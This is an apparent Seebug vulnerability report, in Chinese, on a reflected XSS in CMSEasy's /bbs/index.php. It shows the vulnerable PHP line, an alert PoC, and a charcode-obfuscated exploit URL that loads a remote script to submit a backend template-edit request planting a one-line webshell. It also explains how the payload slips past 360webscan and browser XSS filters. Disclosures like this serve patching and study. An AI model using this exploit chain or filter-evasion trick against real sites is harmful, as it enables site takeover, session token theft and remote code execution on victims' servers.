cmseasy 反射型XSS无视浏览器filter无视360webscan

2014-07-04T00:00:00
ID SSV:94010
Type seebug
Reporter Root
Modified 2014-07-04T00:00:00

Description

简要描述:

RT,cmseasy后台是可以csrf getshell的。但我这里,就算以后cmseasy后台加token、验证referer,我也不怕了,反正是XSS,可以窃取token的,referer也是本站。

详细说明:

这个反射型XSS出在/bbs/index.php中,第4行:

<?php error_reporting(E_ALL & ~E_NOTICE); if($_GET['case'] == 'file'){ echo "<script>window.location.href='". str_replace('/bbs', '', $_SERVER['REQUEST_URI'])."';</script>"; } require_once 'bbs_public.php'; $category = db_bbs_category::getInstance(); $category_data = $category->getAll('order by listorder asc'); $archive = db_bbs_archive::getInstance(); $label = db_bbs_label::getInstance(); $lable_data = $label->getAll(); $lable_data_arr = action_public::formatToIndex('lid',$lable_data); ?>

直接将$_SERVER['REQUEST_URI']输出在<script>标签中,导致的XSS。 先给个POC: http://localhost/easy/bbs/index.php/'+alert(1)+'/?case=file

<img src="https://images.seebug.org/upload/201407/03223926cbdf0e830a616721e9f9d69030bf5e5f.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">

但我的目的是直接getshell,光弹个框肯定不行。 getshell的话有两个难题: 1.需要一个后台getshell的方法 2.getshell脚本较长,需要加载远程js 我们一个一个说吧。 1. cmseasy后台getshell比较简单,进入后台->模板->当前模板编辑->选择一个页面:

<img src="https://images.seebug.org/upload/201407/0322475260be5f3c59ca00d53ff714d255b4244d.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">

我选的footer.html,直接进去插入一句话:

<img src="https://images.seebug.org/upload/201407/032249537ef11d708aa5da7bb2be1a8aca01c2ab.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">

保存来到首页,发现下面已经变成phpinfo了:

<img src="https://images.seebug.org/upload/201407/032251137612d171418514d662923eed380dc60d.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">

2. 加载远程js,我迷糊了一阵子,不过在zone里@chu 和@/fd 帮我解决了这个难题:http://zone.wooyun.org/content/13478 详情我就不说了,直接给exp吧:

localhost/easy/bbs/index.php/'+eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,119,105,110,100,111,119,46,111,110,101,114,114,111,114,61,102,117,110,99,116,105,111,110,40,97,114,103,41,123,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,115,114,102,47,99,109,115,101,97,115,121,46,106,115,62,60,92,47,115,99,114,105,112,116,62,39,41,125,59,116,104,114,111,119,40,49,41,59,125,41,40,41))+'/?case=file

其中String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,119,105,110,100,111,119,46,111,110,101,114,114,111,114,61,102,117,110,99,116,105,111,110,40,97,114,103,41,123,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,115,114,102,47,99,109,115,101,97,115,121,46,106,115,62,60,92,47,115,99,114,105,112,116,62,39,41,125,59,116,104,114,111,119,40,49,41,59,125,41,40,41)实际上就是:

(function(){window.onerror=function(arg){document.write('&lt;script src=http://localhost/csrf/cmseasy.js&gt;&lt;\/script&gt;')};throw(1);})()

其中http://localhost/csrf/cmseasy.js是我加载的远程js。 加载远程js提交一下后台getshell的数据包即可,我就不演示了。 为什么可以无视360webscan?因为这个xss输出在index.php最上面,此时还没有包含360webscan.php,当然无视了。 为什么可以无视浏览器filter,因为输出在script标签中,一般的filter是拦截不了的。

漏洞证明:

见详细说明。